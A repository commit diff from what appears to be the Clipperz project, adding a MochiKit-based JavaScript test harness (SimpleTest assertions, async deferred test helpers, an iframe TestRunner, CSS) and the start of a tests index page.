First version of the newly restructured repository
169
frontend/gamma/tests/SimpleTest/SimpleTest.Async.js
Normal file
@@ -0,0 +1,169 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
MochiKit.Base.update(Clipperz.Async.Deferred.prototype, {
|
||||
/*
|
||||
'_addTest': function(anExpectedValue, aDescription, isDeep, aResult) {
|
||||
if (isDeep) {
|
||||
SimpleTest.isDeeply(aResult, anExpectedValue, aDescription);
|
||||
} else {
|
||||
SimpleTest.is(aResult, anExpectedValue, aDescription);
|
||||
}
|
||||
|
||||
return aResult;
|
||||
},
|
||||
*/
|
||||
'addTest': function (anExpectedValue, aDescription, isDeep) {
|
||||
// this.addMethod(this, '_addTest', anExpectedValue, aDescription, isDeep);
|
||||
// this.addCallback(Clipperz.Async.test, anExpectedValue, aDescription, isDeep);
|
||||
|
||||
if (isDeep) {
|
||||
// SimpleTest.isDeeply(aResult, anExpectedValue, aDescription);
|
||||
this.addCallback(Clipperz.Async.Test.isDeeply(anExpectedValue, aDescription));
|
||||
} else {
|
||||
// SimpleTest.is(aResult, anExpectedValue, aDescription);
|
||||
this.addCallback(Clipperz.Async.Test.is(anExpectedValue, aDescription));
|
||||
}
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'shouldSucceed': function (aDescription) {
|
||||
this.addCallbackPass(SimpleTest.ok, true, aDescription);
|
||||
this.addErrbackPass (SimpleTest.ok, false, aDescription);
|
||||
this.addBoth(MochiKit.Async.succeed, null);
|
||||
},
|
||||
|
||||
'shouldFail': function (aDescription) {
|
||||
this.addCallbackPass(SimpleTest.ok, false, aDescription);
|
||||
this.addErrbackPass (SimpleTest.ok, true, aDescription);
|
||||
this.addBoth(MochiKit.Async.succeed, null);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
});
|
||||
|
||||
|
||||
Clipperz.Async.Test = {};
|
||||
MochiKit.Base.update(Clipperz.Async.Test, {
|
||||
|
||||
'is': function (anExpectedResult, aDescription) {
|
||||
return MochiKit.Base.partial(function (anExpectedResult, aDescription, aResult) {
|
||||
SimpleTest.is(aResult, anExpectedResult, aDescription);
|
||||
|
||||
return aResult;
|
||||
}, anExpectedResult, aDescription);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'ok': function (aDescription) {
|
||||
return MochiKit.Base.partial(function (aDescription, aResult) {
|
||||
SimpleTest.ok(aResult, aDescription);
|
||||
|
||||
return aResult;
|
||||
}, aDescription);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'fail': function(aDescription) {
|
||||
return MochiKit.Base.partial(function (aDescription, aResult) {
|
||||
SimpleTest.ok(!aResult, aDescription);
|
||||
|
||||
return aResult;
|
||||
}, aDescription);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'isDeeply': function (anExpectedResult, aDescription) {
|
||||
return MochiKit.Base.partial(function (anExpectedResult, aDescription, aResult) {
|
||||
SimpleTest.isDeeply(aResult, anExpectedResult, aDescription);
|
||||
|
||||
return aResult;
|
||||
}, anExpectedResult, aDescription);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
__syntaxFix__: "syntax fix"
|
||||
});
|
||||
|
||||
|
||||
SimpleTest.runDeferredTests = function (aName, aTestSet, aTestArguments) {
|
||||
try {
|
||||
var deferredTests;
|
||||
var aTestName;
|
||||
var title;
|
||||
|
||||
deferredTests = new Clipperz.Async.Deferred(aName + " <deferred test set>", aTestArguments);
|
||||
|
||||
title = aName;
|
||||
|
||||
aTestName = window.location.href.match(/#.*/);
|
||||
if (aTestName && (aTestName != '#')) {
|
||||
aTestName = aTestName[0].slice(1);
|
||||
if (aTestName in aTestSet) {
|
||||
//Clipperz.log("single test execution, via fragment identifier", aTestName);
|
||||
title += ' [' + aTestName + ']';
|
||||
deferredTests.addCallback(aTestSet[aTestName], aTestArguments);
|
||||
deferredTests.addErrback(SimpleTest.ok, false, aTestName);
|
||||
} else {
|
||||
title = 'WRONG TEST NAME'
|
||||
deferredTests.addBoth(is, aTestName, null, "Wrong test name selected to run");
|
||||
}
|
||||
} else {
|
||||
for (aTestName in aTestSet) {
|
||||
deferredTests.addCallback(aTestSet[aTestName], aTestArguments);
|
||||
deferredTests.addErrback(SimpleTest.ok, false, aTestName);
|
||||
deferredTests.addBoth(MochiKit.Async.wait, 0.5);
|
||||
}
|
||||
deferredTests.addBoth(is, true, true, "FINISH: completed the full stack of tests");
|
||||
}
|
||||
|
||||
MochiKit.DOM.currentDocument().title = title;
|
||||
|
||||
deferredTests.addBoth(SimpleTest.finish);
|
||||
deferredTests.callback();
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
} catch (err) {
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
}
|
||||
424
frontend/gamma/tests/SimpleTest/SimpleTest.js
Normal file
@@ -0,0 +1,424 @@
|
||||
/**
|
||||
* SimpleTest, a partial Test.Simple/Test.More API compatible test library.
|
||||
*
|
||||
* Why?
|
||||
*
|
||||
* Test.Simple doesn't work on IE < 6.
|
||||
* TODO:
|
||||
* * Support the Test.Simple API used by MochiKit, to be able to test MochiKit
|
||||
* itself against IE 5.5
|
||||
*
|
||||
**/
|
||||
|
||||
if (typeof(SimpleTest) == "undefined") {
|
||||
var SimpleTest = {};
|
||||
}
|
||||
|
||||
// Check to see if the TestRunner is present and has logging
|
||||
if (typeof(parent) != "undefined" && parent.TestRunner) {
|
||||
SimpleTest._logEnabled = parent.TestRunner.logEnabled;
|
||||
}
|
||||
|
||||
SimpleTest._tests = [];
|
||||
SimpleTest._stopOnLoad = true;
|
||||
SimpleTest._scopeCopy = {};
|
||||
|
||||
/**
|
||||
* Saves a copy of the specified scope variables.
|
||||
*/
|
||||
SimpleTest.saveScope = function (scope) {
|
||||
SimpleTest._scopeCopy = {};
|
||||
for (var k in scope) {
|
||||
SimpleTest._scopeCopy[k] = scope[k];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Verifies the specified scope against the stored copy and reports
|
||||
* any differences as test failures.
|
||||
*/
|
||||
SimpleTest.verifyScope = function (scope) {
|
||||
var filter = ['test', '_firebug','_FirebugConsole','XMLHttpRequest','Audio',
|
||||
'XSLTProcessor','Option','Image','scrollMaxX','scrollMaxY',
|
||||
'clipboardData'];
|
||||
for (var k in scope) {
|
||||
if (MochiKit.Base.findValue(filter, k) < 0) {
|
||||
var v = scope[k];
|
||||
var old = SimpleTest._scopeCopy[k];
|
||||
if (v !== old && typeof(old) === "undefined") {
|
||||
SimpleTest.ok(false, "scope modified, variable " + k + " was added");
|
||||
} else if (v !== old) {
|
||||
SimpleTest.ok(false, "scope modified, variable " + k + " changed from: " + old + ", to: " + v);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (var k in SimpleTest._scopeCopy) {
|
||||
if (!(k in scope)) {
|
||||
SimpleTest.ok(false, "scope modified, variable " + k + " has been removed");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Something like assert.
|
||||
*/
|
||||
SimpleTest.ok = function (condition, name, diag) {
|
||||
var test = {'result': !!condition, 'name': name, 'diag': diag || ""};
|
||||
if (SimpleTest._logEnabled) {
|
||||
var msg = test.result ? "PASS" : "FAIL";
|
||||
msg += " | " + test.name;
|
||||
if (test.result) {
|
||||
parent.TestRunner.logger.log(msg);
|
||||
} else {
|
||||
msg += " | " + test.diag;
|
||||
parent.TestRunner.logger.error(msg);
|
||||
}
|
||||
}
|
||||
SimpleTest._tests.push(test);
|
||||
};
|
||||
|
||||
/**
|
||||
* Roughly equivalent to ok(a==b, name)
|
||||
*/
|
||||
SimpleTest.is = function (a, b, name) {
|
||||
var repr = MochiKit.Base.repr;
|
||||
SimpleTest.ok(a == b, name, "got " + repr(a) + ", expected " + repr(b));
|
||||
};
|
||||
|
||||
/**
|
||||
* Roughly equivalent to ok(compare(a,b)==0, name)
|
||||
*/
|
||||
SimpleTest.eq = function (a, b, name) {
|
||||
var base = MochiKit.Base;
|
||||
var repr = base.repr;
|
||||
try {
|
||||
SimpleTest.ok(base.compare(a, b) == 0, name, "got " + repr(a) + ", expected " + repr(b));
|
||||
} catch (e) {
|
||||
SimpleTest.ok(false, name, "exception in compare: " + repr(e));
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* Makes a test report, returns it as a DIV element.
|
||||
**/
|
||||
SimpleTest.report = function () {
|
||||
var DIV = MochiKit.DOM.DIV;
|
||||
var passed = 0;
|
||||
var failed = 0;
|
||||
var results = MochiKit.Base.map(
|
||||
function (test) {
|
||||
var cls, msg;
|
||||
if (test.result) {
|
||||
passed++;
|
||||
cls = "test_ok";
|
||||
msg = "ok - " + test.name;
|
||||
} else {
|
||||
failed++;
|
||||
cls = "test_not_ok";
|
||||
msg = "not ok - " + test.name;
|
||||
if (test.diag != null && test.diag != "") {
|
||||
msg += ": " + test.diag;
|
||||
}
|
||||
}
|
||||
return DIV({"class": cls}, msg);
|
||||
},
|
||||
SimpleTest._tests
|
||||
);
|
||||
var summary_class = ((failed == 0) ? 'all_pass' : 'some_fail');
|
||||
return DIV({'class': 'tests_report'},
|
||||
DIV({'class': 'tests_summary ' + summary_class},
|
||||
DIV({'class': 'tests_passed'}, "Passed: " + passed),
|
||||
DIV({'class': 'tests_failed'}, "Failed: " + failed)),
|
||||
results
|
||||
);
|
||||
};
|
||||
|
||||
/**
|
||||
* Toggle element visibility
|
||||
**/
|
||||
SimpleTest.toggle = function(el) {
|
||||
if (MochiKit.Style.getStyle(el, 'display') == 'block') {
|
||||
el.style.display = 'none';
|
||||
} else {
|
||||
el.style.display = 'block';
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Toggle visibility for divs with a specific class.
|
||||
**/
|
||||
SimpleTest.toggleByClass = function (cls) {
|
||||
var elems = MochiKit.DOM.getElementsByTagAndClassName('div', cls);
|
||||
MochiKit.Base.map(SimpleTest.toggle, elems);
|
||||
return false;
|
||||
};
|
||||
|
||||
/**
|
||||
* Shows the report in the browser
|
||||
**/
|
||||
|
||||
SimpleTest.showReport = function() {
|
||||
var base = MochiKit.Base;
|
||||
var dom = MochiKit.DOM;
|
||||
var togglePassed = dom.A({'href': '#'}, "Toggle passed tests");
|
||||
var toggleFailed = dom.A({'href': '#'}, "Toggle failed tests");
|
||||
togglePassed.onclick = base.partial(SimpleTest.toggleByClass, 'test_ok');
|
||||
toggleFailed.onclick = base.partial(SimpleTest.toggleByClass, 'test_not_ok');
|
||||
var body = document.getElementsByTagName("body")[0];
|
||||
var firstChild = body.childNodes[0];
|
||||
var addNode;
|
||||
if (firstChild) {
|
||||
addNode = function (el) {
|
||||
body.insertBefore(el, firstChild);
|
||||
};
|
||||
} else {
|
||||
addNode = function (el) {
|
||||
body.appendChild(el)
|
||||
};
|
||||
}
|
||||
addNode(togglePassed);
|
||||
addNode(dom.SPAN(null, " "));
|
||||
addNode(toggleFailed);
|
||||
addNode(SimpleTest.report());
|
||||
};
|
||||
|
||||
/**
|
||||
* Tells SimpleTest to don't finish the test when the document is loaded,
|
||||
* useful for asynchronous tests.
|
||||
*
|
||||
* When SimpleTest.waitForExplicitFinish is called,
|
||||
* explicit SimpleTest.finish() is required.
|
||||
**/
|
||||
SimpleTest.waitForExplicitFinish = function () {
|
||||
SimpleTest._stopOnLoad = false;
|
||||
};
|
||||
|
||||
/**
|
||||
* Talks to the TestRunner if being ran on a iframe and the parent has a
|
||||
* TestRunner object.
|
||||
**/
|
||||
SimpleTest.talkToRunner = function () {
|
||||
if (typeof(parent) != "undefined" && parent.TestRunner) {
|
||||
parent.TestRunner.testFinished(document);
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Finishes the tests. This is automatically called, except when
|
||||
* SimpleTest.waitForExplicitFinish() has been invoked.
|
||||
**/
|
||||
SimpleTest.finish = function () {
|
||||
SimpleTest.showReport();
|
||||
SimpleTest.talkToRunner();
|
||||
};
|
||||
|
||||
|
||||
MochiKit.DOM.addLoadEvent(function() {
|
||||
if (SimpleTest._stopOnLoad) {
|
||||
SimpleTest.finish();
|
||||
}
|
||||
});
|
||||
|
||||
// --------------- Test.Builder/Test.More isDeeply() -----------------
|
||||
|
||||
|
||||
SimpleTest.DNE = {dne: 'Does not exist'};
|
||||
SimpleTest.LF = "\r\n";
|
||||
SimpleTest._isRef = function (object) {
|
||||
var type = typeof(object);
|
||||
return type == 'object' || type == 'function';
|
||||
};
|
||||
|
||||
|
||||
SimpleTest._deepCheck = function (e1, e2, stack, seen) {
|
||||
var ok = false;
|
||||
// Either they're both references or both not.
|
||||
var sameRef = !(!SimpleTest._isRef(e1) ^ !SimpleTest._isRef(e2));
|
||||
if (e1 == null && e2 == null) {
|
||||
ok = true;
|
||||
} else if (e1 != null ^ e2 != null) {
|
||||
ok = false;
|
||||
} else if (e1 == SimpleTest.DNE ^ e2 == SimpleTest.DNE) {
|
||||
ok = false;
|
||||
} else if (sameRef && e1 == e2) {
|
||||
// Handles primitives and any variables that reference the same
|
||||
// object, including functions.
|
||||
ok = true;
|
||||
} else if (SimpleTest.isa(e1, 'Array') && SimpleTest.isa(e2, 'Array')) {
|
||||
ok = SimpleTest._eqArray(e1, e2, stack, seen);
|
||||
} else if (typeof e1 == "object" && typeof e2 == "object") {
|
||||
ok = SimpleTest._eqAssoc(e1, e2, stack, seen);
|
||||
} else {
|
||||
// If we get here, they're not the same (function references must
|
||||
// always simply rererence the same function).
|
||||
stack.push({ vals: [e1, e2] });
|
||||
ok = false;
|
||||
}
|
||||
return ok;
|
||||
};
|
||||
|
||||
SimpleTest._eqArray = function (a1, a2, stack, seen) {
|
||||
// Return if they're the same object.
|
||||
if (a1 == a2) return true;
|
||||
|
||||
// JavaScript objects have no unique identifiers, so we have to store
|
||||
// references to them all in an array, and then compare the references
|
||||
// directly. It's slow, but probably won't be much of an issue in
|
||||
// practice. Start by making a local copy of the array to as to avoid
|
||||
// confusing a reference seen more than once (such as [a, a]) for a
|
||||
// circular reference.
|
||||
for (var j = 0; j < seen.length; j++) {
|
||||
if (seen[j][0] == a1) {
|
||||
return seen[j][1] == a2;
|
||||
}
|
||||
}
|
||||
|
||||
// If we get here, we haven't seen a1 before, so store it with reference
|
||||
// to a2.
|
||||
seen.push([ a1, a2 ]);
|
||||
|
||||
var ok = true;
|
||||
// Only examines enumerable attributes. Only works for numeric arrays!
|
||||
// Associative arrays return 0. So call _eqAssoc() for them, instead.
|
||||
var max = a1.length > a2.length ? a1.length : a2.length;
|
||||
if (max == 0) return SimpleTest._eqAssoc(a1, a2, stack, seen);
|
||||
for (var i = 0; i < max; i++) {
|
||||
var e1 = i > a1.length - 1 ? SimpleTest.DNE : a1[i];
|
||||
var e2 = i > a2.length - 1 ? SimpleTest.DNE : a2[i];
|
||||
stack.push({ type: 'Array', idx: i, vals: [e1, e2] });
|
||||
if (ok = SimpleTest._deepCheck(e1, e2, stack, seen)) {
|
||||
stack.pop();
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return ok;
|
||||
};
|
||||
|
||||
SimpleTest._eqAssoc = function (o1, o2, stack, seen) {
|
||||
// Return if they're the same object.
|
||||
if (o1 == o2) return true;
|
||||
|
||||
// JavaScript objects have no unique identifiers, so we have to store
|
||||
// references to them all in an array, and then compare the references
|
||||
// directly. It's slow, but probably won't be much of an issue in
|
||||
// practice. Start by making a local copy of the array to as to avoid
|
||||
// confusing a reference seen more than once (such as [a, a]) for a
|
||||
// circular reference.
|
||||
seen = seen.slice(0);
|
||||
for (var j = 0; j < seen.length; j++) {
|
||||
if (seen[j][0] == o1) {
|
||||
return seen[j][1] == o2;
|
||||
}
|
||||
}
|
||||
|
||||
// If we get here, we haven't seen o1 before, so store it with reference
|
||||
// to o2.
|
||||
seen.push([ o1, o2 ]);
|
||||
|
||||
// They should be of the same class.
|
||||
|
||||
var ok = true;
|
||||
// Only examines enumerable attributes.
|
||||
var o1Size = 0; for (var i in o1) o1Size++;
|
||||
var o2Size = 0; for (var i in o2) o2Size++;
|
||||
var bigger = o1Size > o2Size ? o1 : o2;
|
||||
for (var i in bigger) {
|
||||
var e1 = o1[i] == undefined ? SimpleTest.DNE : o1[i];
|
||||
var e2 = o2[i] == undefined ? SimpleTest.DNE : o2[i];
|
||||
stack.push({ type: 'Object', idx: i, vals: [e1, e2] });
|
||||
if (ok = SimpleTest._deepCheck(e1, e2, stack, seen)) {
|
||||
stack.pop();
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return ok;
|
||||
};
|
||||
|
||||
SimpleTest._formatStack = function (stack) {
|
||||
var variable = '$Foo';
|
||||
for (var i = 0; i < stack.length; i++) {
|
||||
var entry = stack[i];
|
||||
var type = entry['type'];
|
||||
var idx = entry['idx'];
|
||||
if (idx != null) {
|
||||
if (/^\d+$/.test(idx)) {
|
||||
// Numeric array index.
|
||||
variable += '[' + idx + ']';
|
||||
} else {
|
||||
// Associative array index.
|
||||
idx = idx.replace("'", "\\'");
|
||||
variable += "['" + idx + "']";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var vals = stack[stack.length-1]['vals'].slice(0, 2);
|
||||
var vars = [
|
||||
variable.replace('$Foo', 'got'),
|
||||
variable.replace('$Foo', 'expected')
|
||||
];
|
||||
|
||||
var out = "Structures begin differing at:" + SimpleTest.LF;
|
||||
for (var i = 0; i < vals.length; i++) {
|
||||
var val = vals[i];
|
||||
if (val == null) {
|
||||
val = 'undefined';
|
||||
} else {
|
||||
val == SimpleTest.DNE ? "Does not exist" : "'" + val + "'";
|
||||
}
|
||||
}
|
||||
|
||||
out += vars[0] + ' = ' + vals[0] + SimpleTest.LF;
|
||||
out += vars[1] + ' = ' + vals[1] + SimpleTest.LF;
|
||||
|
||||
return ' ' + out;
|
||||
};
|
||||
|
||||
|
||||
SimpleTest.isDeeply = function (it, as, name) {
|
||||
var ok;
|
||||
// ^ is the XOR operator.
|
||||
if (SimpleTest._isRef(it) ^ SimpleTest._isRef(as)) {
|
||||
// One's a reference, one isn't.
|
||||
ok = false;
|
||||
} else if (!SimpleTest._isRef(it) && !SimpleTest._isRef(as)) {
|
||||
// Neither is an object.
|
||||
ok = SimpleTest.is(it, as, name);
|
||||
} else {
|
||||
// We have two objects. Do a deep comparison.
|
||||
var stack = [], seen = [];
|
||||
if ( SimpleTest._deepCheck(it, as, stack, seen)) {
|
||||
ok = SimpleTest.ok(true, name);
|
||||
} else {
|
||||
ok = SimpleTest.ok(false, name, SimpleTest._formatStack(stack));
|
||||
}
|
||||
}
|
||||
return ok;
|
||||
};
|
||||
|
||||
SimpleTest.typeOf = function (object) {
|
||||
var c = Object.prototype.toString.apply(object);
|
||||
var name = c.substring(8, c.length - 1);
|
||||
if (name != 'Object') return name;
|
||||
// It may be a non-core class. Try to extract the class name from
|
||||
// the constructor function. This may not work in all implementations.
|
||||
if (/function ([^(\s]+)/.test(Function.toString.call(object.constructor))) {
|
||||
return RegExp.$1;
|
||||
}
|
||||
// No idea. :-(
|
||||
return name;
|
||||
};
|
||||
|
||||
SimpleTest.isa = function (object, clas) {
|
||||
return SimpleTest.typeOf(object) == clas;
|
||||
};
|
||||
|
||||
|
||||
|
||||
// Global symbols:
|
||||
var ok = SimpleTest.ok;
|
||||
var is = SimpleTest.is;
|
||||
var isDeeply = SimpleTest.isDeeply;
|
||||
233
frontend/gamma/tests/SimpleTest/TestRunner.js
Normal file
@@ -0,0 +1,233 @@
|
||||
/**
|
||||
* TestRunner: A test runner for SimpleTest
|
||||
* TODO:
|
||||
*
|
||||
* * Avoid moving iframes: That causes reloads on mozilla and opera.
|
||||
*
|
||||
*
|
||||
**/
|
||||
var TestRunner = {};
|
||||
TestRunner.logEnabled = false;
|
||||
TestRunner._iframes = {};
|
||||
TestRunner._iframeDocuments = {};
|
||||
TestRunner._iframeRows = {};
|
||||
TestRunner._currentTest = 0;
|
||||
TestRunner._urls = [];
|
||||
TestRunner._testsDiv = DIV();
|
||||
TestRunner._progressDiv = DIV();
|
||||
TestRunner._summaryDiv = DIV(null,
|
||||
H1(null, "Tests Summary"),
|
||||
TABLE(null,
|
||||
THEAD(null,
|
||||
TR(null,
|
||||
TH(null, "Test"),
|
||||
TH(null, "Passed"),
|
||||
TH(null, "Failed")
|
||||
)
|
||||
),
|
||||
TFOOT(/*null, TR(null, TH(null, "-"), TH(null, "--"), TH(null, "---"))*/),
|
||||
TBODY()
|
||||
)
|
||||
);
|
||||
|
||||
/**
|
||||
* This function is called after generating the summary.
|
||||
**/
|
||||
TestRunner.onComplete = null;
|
||||
|
||||
/**
|
||||
* If logEnabled is true, this is the logger that will be used.
|
||||
**/
|
||||
TestRunner.logger = MochiKit.Logging.logger;
|
||||
|
||||
/**
|
||||
* Toggle element visibility
|
||||
**/
|
||||
TestRunner._toggle = function(el) {
|
||||
if (el.className == "noshow") {
|
||||
el.className = "";
|
||||
el.style.cssText = "";
|
||||
} else {
|
||||
el.className = "noshow";
|
||||
el.style.cssText = "width:0px; height:0px; border:0px;";
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
/**
|
||||
* Creates the iframe that contains a test
|
||||
**/
|
||||
TestRunner._makeIframe = function (url) {
|
||||
var iframe = document.createElement('iframe');
|
||||
iframe.src = url;
|
||||
iframe.name = url;
|
||||
iframe.width = "500";
|
||||
var tbody = TestRunner._summaryDiv.getElementsByTagName("tbody")[0];
|
||||
var tr = TR(null, TD({'colspan': '3'}, iframe));
|
||||
iframe._row = tr;
|
||||
tbody.appendChild(tr);
|
||||
return iframe;
|
||||
};
|
||||
|
||||
/**
|
||||
* TestRunner entry point.
|
||||
*
|
||||
* The arguments are the URLs of the test to be ran.
|
||||
*
|
||||
**/
|
||||
TestRunner.runTests = function (/*url...*/) {
|
||||
if (TestRunner.logEnabled)
|
||||
TestRunner.logger.log("SimpleTest START");
|
||||
|
||||
var body = document.getElementsByTagName("body")[0];
|
||||
appendChildNodes(body,
|
||||
TestRunner._testsDiv,
|
||||
TestRunner._progressDiv,
|
||||
TestRunner._summaryDiv
|
||||
);
|
||||
for (var i = 0; i < arguments.length; i++) {
|
||||
TestRunner._urls.push(arguments[i]);
|
||||
}
|
||||
|
||||
TestRunner.runNextTest();
|
||||
};
|
||||
|
||||
/**
|
||||
* Run the next test. If no test remains, calls makeSummary
|
||||
**/
|
||||
TestRunner.runNextTest = function() {
|
||||
if (TestRunner._currentTest < TestRunner._urls.length) {
|
||||
var url = TestRunner._urls[TestRunner._currentTest];
|
||||
var progress = SPAN(null,
|
||||
"Running ", A({href:url}, url), "..."
|
||||
);
|
||||
|
||||
if (TestRunner.logEnabled)
|
||||
TestRunner.logger.log(scrapeText(progress));
|
||||
|
||||
TestRunner._progressDiv.appendChild(progress);
|
||||
TestRunner._iframes[url] = TestRunner._makeIframe(url);
|
||||
} else {
|
||||
TestRunner.makeSummary();
|
||||
if (TestRunner.onComplete) {
|
||||
TestRunner.onComplete();
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* This stub is called by SimpleTest when a test is finished.
|
||||
**/
|
||||
TestRunner.testFinished = function (doc) {
|
||||
appendChildNodes(TestRunner._progressDiv, SPAN(null, "Done"), BR());
|
||||
var finishedURL = TestRunner._urls[TestRunner._currentTest];
|
||||
|
||||
if (TestRunner.logEnabled)
|
||||
TestRunner.logger.debug("SimpleTest finished " + finishedURL);
|
||||
|
||||
TestRunner._iframeDocuments[finishedURL] = doc;
|
||||
// TestRunner._iframes[finishedURL].style.display = "none";
|
||||
if (finishedURL != null) {
|
||||
TestRunner._toggle(TestRunner._iframes[finishedURL]);
|
||||
TestRunner._currentTest++;
|
||||
TestRunner.runNextTest();
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Display the summary in the browser
|
||||
**/
|
||||
/*
|
||||
TestRunner.makeSummary = function() {
|
||||
if (TestRunner.logEnabled)
|
||||
TestRunner.logger.log("SimpleTest FINISHED");
|
||||
var rows = [];
|
||||
for (var url in TestRunner._iframeDocuments) {
|
||||
var doc = TestRunner._iframeDocuments[url];
|
||||
var nOK = withDocument(doc,
|
||||
partial(getElementsByTagAndClassName, 'div', 'test_ok')
|
||||
).length;
|
||||
var nNotOK = withDocument(doc,
|
||||
partial(getElementsByTagAndClassName, 'div', 'test_not_ok')
|
||||
).length;
|
||||
var toggle = partial(TestRunner._toggle, TestRunner._iframes[url]);
|
||||
var jsurl = "TestRunner._toggle(TestRunner._iframes['" + url + "'])";
|
||||
var row = TR(
|
||||
{'style': {'backgroundColor': nNotOK > 0 ? "#f00":"#0f0"}},
|
||||
TD(null, url),
|
||||
TD(null, nOK),
|
||||
TD(null, nNotOK)
|
||||
);
|
||||
row.onclick = toggle;
|
||||
var tbody = TestRunner._summaryDiv.getElementsByTagName("tbody")[0];
|
||||
tbody.insertBefore(row, TestRunner._iframes[url]._row)
|
||||
}
|
||||
};
|
||||
*/
|
||||
|
||||
TestRunner.makeSummary = function() {
|
||||
var base = MochiKit.Base;
|
||||
var dom = MochiKit.DOM;
|
||||
var iter = MochiKit.Iter;
|
||||
var total_Ok, total_not_Ok;
|
||||
|
||||
total_Ok = 0;
|
||||
total_not_Ok = 0;
|
||||
|
||||
if (TestRunner.logEnabled)
|
||||
TestRunner.logger.log("SimpleTest FINISHED");
|
||||
var rows = [];
|
||||
for (var url in TestRunner._iframeDocuments) {
|
||||
var doc = TestRunner._iframeDocuments[url];
|
||||
var nOK = withDocument(doc,
|
||||
partial(getElementsByTagAndClassName, 'div', 'test_ok')
|
||||
).length;
|
||||
var nNotOK = withDocument(doc,
|
||||
partial(getElementsByTagAndClassName, 'div', 'test_not_ok')
|
||||
).length;
|
||||
var toggle = partial(TestRunner._toggle, TestRunner._iframes[url]);
|
||||
var jsurl = "TestRunner._toggle(TestRunner._iframes['" + url + "'])";
|
||||
var row = TR(
|
||||
{'style': {'backgroundColor': nNotOK > 0 ? "#f00":"#0f0"}},
|
||||
TD(null, url),
|
||||
TD(null, nOK),
|
||||
TD(null, nNotOK)
|
||||
);
|
||||
row.onclick = toggle;
|
||||
var tbody = TestRunner._summaryDiv.getElementsByTagName("tbody")[0];
|
||||
tbody.insertBefore(row, TestRunner._iframes[url]._row);
|
||||
|
||||
total_Ok += nOK;
|
||||
total_not_Ok += nNotOK;
|
||||
}
|
||||
|
||||
{
|
||||
var tfoot = TestRunner._summaryDiv.getElementsByTagName("tfoot")[0];
|
||||
tfoot.appendChild(TR(null,
|
||||
TH(null, ""),
|
||||
TH({'style':"color:green;"}, total_Ok),
|
||||
TH({'style':"color:" + ((total_not_Ok == 0) ? 'black' : 'red') + ";"}, total_not_Ok)
|
||||
));
|
||||
}
|
||||
|
||||
var testRunnerResults;
|
||||
var i, c;
|
||||
|
||||
testRunnerResults = dom.DIV({'style': 'display:none; visibility:hidden;'}, null);
|
||||
|
||||
c = total_Ok;
|
||||
for (i=0; i<c; i++) {
|
||||
dom.appendChildNodes(testRunnerResults, dom.DIV({'class': 'test_ok'}, "ok"));
|
||||
}
|
||||
|
||||
c = total_not_Ok;
|
||||
for (i=0; i<c; i++) {
|
||||
dom.appendChildNodes(testRunnerResults, dom.DIV({'class': 'test_not_ok'}, "fail"));
|
||||
}
|
||||
|
||||
document.getElementsByTagName("body")[0].appendChild(testRunnerResults);
|
||||
|
||||
if (typeof(parent) != "undefined" && parent.TestRunner) {
|
||||
parent.TestRunner.testFinished(document);
|
||||
}
|
||||
};
|
||||
28
frontend/gamma/tests/SimpleTest/test.css
Normal file
@@ -0,0 +1,28 @@
|
||||
.test_ok {
|
||||
color: green;
|
||||
display: none;
|
||||
}
|
||||
.test_not_ok {
|
||||
color: red;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.test_ok, .test_not_ok {
|
||||
border-bottom-width: 2px;
|
||||
border-bottom-style: solid;
|
||||
border-bottom-color: black;
|
||||
}
|
||||
|
||||
.all_pass {
|
||||
background-color: lime;
|
||||
}
|
||||
|
||||
.some_fail {
|
||||
background-color: red;
|
||||
}
|
||||
|
||||
.tests_report {
|
||||
border-width: 2px;
|
||||
border-style: solid;
|
||||
width: 20em;
|
||||
}
|
||||
56
frontend/gamma/tests/index.html
Executable file
@@ -0,0 +1,56 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
